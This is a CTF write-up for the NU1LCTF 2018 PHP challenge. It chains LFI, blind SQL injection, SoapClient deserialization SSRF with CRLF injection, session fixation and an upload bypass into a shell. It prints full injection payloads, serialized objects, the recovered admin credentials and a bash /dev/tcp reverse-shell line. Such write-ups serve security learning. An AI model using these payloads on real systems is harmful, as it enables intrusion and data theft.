Chaining bugs to get shell — Easy and Hard PHP NU1LCTF 2018 Writeup
Part 1: Info Gathering
The first thing to notice is that we could find easily backup files for all the PHP files.
Index.php was small file requiring views files with the only interesting line
require_once 'views/'.$_GET['action'];The LFI bug was pretty obvious.
Login.php contained different function that user can make (login, register, publish, delete publication, update profile)
The function that filtered the username was check_username :
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}and the password was hashed in database, so no SQLi in these two params, there was another function that’s vulnerable to SQLi which is publish()
We can see some interesting things, $mood was a serialized object, and signature was inserted directly with no filtering, and in the home page that same object was unserialized, and if the user is admin, he had some uploading functionality, let’s leave that for later.
the part where the object was unserialized is in showmess function:
Part 2 : Exploiting :
Here we can come up with some conclusions, we can inject signature, thus inserting an arbitrary serialized object that we can control because the object was inserted after signature, so the injection would look like:
signature=fakesignature','Controlled serialized object'); -- -
we can fetch all database info with this injection and control unserialize, to get admin password, I used an optimized injection of 16 chars because the pass was md5, and I tested for each hex char I mapped an IP address, that way when we inject the result would show $country-$mood->getcountry() in the home page think of it as a blind sql injection, for each char there is a mapped ip:country, the injection is pretty big bug easily understandable :
wat`,(select case when ascii(substr((select password from ctf_users where is_admin=1),3,1))=48 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=49 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"2.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=50 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"5.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=51 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"127.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=52 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"128.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=53 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"129.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=54 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"135.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=55 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"27.116.56.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=56 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"41.109.118.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=57 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.11.15.64";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=97 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"103.81.186.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=98 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.10.240.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=99 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"17.45.140.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=100 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"43.249.176.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=101 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"41.76.8.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=102 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"46.8.41.0";s:4:"date";i:1520676219;}` else `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` end)) -- -from this we find the admin hash password 2533f492a796a3227b0c6f91d102cc36 and the corresponding value
md5(nu1ladmin) = 2533f492a796a3227b0c6f91d102cc36It’s not that easy to login as admin, it turns out that when registering, the IP of registration is stored in db, and you cannot login from another IP
After a while the released hint suggested that there is a SSRF somewhere, After hours of searching, we could definitely be sure that it had to do with the unserialization bug, but we have no magic methods in the application, it turns out that php has its own set of classes that have their magic methods, with the interesting class SoapClient which has the magic method __call
From the options it turns out that If NULL, it is non-wsdl mode. If it is a non-wsdl mode, a remote soap request will be made to the url set in the options when unserializing, we quickly started writing a test exploit
$event = new SoapClient(null, array('location' => 'http://MY_IP/ssrf.php','uri'=>'http://127.0.0.1'));
unserialize(serialize($event))->fakemethod();We inject the serialized object in the SQLi and we got our SSRF
47.97.221.96 - - [11/Mar/2018 09:46:24] "POST /ssrf.php HTTP/1.1" 200 -Cool we can notice that its already doing a POST request, but the data were xml, we need somehow to control the POST data, after looking for a bit we find that in the soapclient object there are some params that has a potential of another attack vector(CRLF)
Even if it looks good, but the CRLF was injected after Content-Type:
POST /3 HTTP/1.1
Host: 127.0.0.1:3131
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.25-0ubuntu0.16.04.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1:3131/3
1#getcountry"
Content-Length: 396We need another header that we can inject, Soap Object also accepts a custom user agent, which looks like a jackpot to me
POST /ssrf HTTP/1.1
Host: 127.0.0.1:3131
Connection: Keep-Alive
User-Agent: h
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/%0A1#getcountry"
Content-Length: 391Now we have a SSRF with controlled POST data, the next step is to login as admin, to do that it turns out that the app is vulnerable to session fixation, we can chose any PHPSESSID thats generated from login page, and we send it along with the post DATA, then that PHPSESSID would be admin session, the injection looks like :
signature=x`,`O:10:"SoapClient":3:{s:3:"uri";s:1:"0";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:11:"_user_agent";S:174:"fake\0D\0ACookie: PHPSESSID=vjmff6f72qh6ko3la6pdokr935\0D\0AContent-Type: application/x-www-form-urlencoded\0D\0AContent-Length: 700\0D\0A\0D\0Ausername=admin\26password=nu1ladmin\26code=JPBVAK\26y=cc";}`) -- -&mood=0I have Used S instead of s to allow Encoding of some special chars inside the serialized object.
In this step we have admin session, along with an uploading feature that I mentioned earlier , the code is :
Some remarks: there is a file limit size of 2MB, MIME should be image/jpeg or image/pjpeg, filename was filtered from dots and slashes, new filename is appended time() and random int between 1 and 100, and extension .jpg. If there is <?php in file content there would be a shell script call , the script does delete all .jpg in that directory
cd /app/adminpic/ rm *.jpgI spent lot of hours during this step, trying to win race condition , which was possible if I knew the exact filename, or spotted another phpinfo bug, that would show tmp file fullname, I thought that showmess function was indeeding showing all files in that dir
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}It turns out it didn't, locally I won race condition with a few threads, uploading big file, uploading small shell file, visiting home page to see the $filenames, and visit them with the LFI, but the scandir wasn't properly working because of array splicing.
Finally I was able to upload a file that didnt get removed, turns out rm *.jpg without -r options wont delete files with names starting with a -
Part 3: Getting Shell :
The last part of the exploit is to write a shell we don't care about the <?php and deleting , because filenames like
-filename
wont be deleted, all we had to do is upload shell, and code brute-force the rand(1,100) , and call it with index.php?action LFI,
The flag was in the database, nc.openbsd doesn't have -e option, not much binaries for reverse shell except
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1After discussing with some players turns out there was an uninented solution which was pretty great I've never heard of it using xdebug connect back RCE, for more details plz check https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/.
And for more details about the SOAPClient bug http://lab.truel.it/php-object-injection-the-dirty-way/
Thanks for Nu1l team for providing such a great challenge.
-Team dcua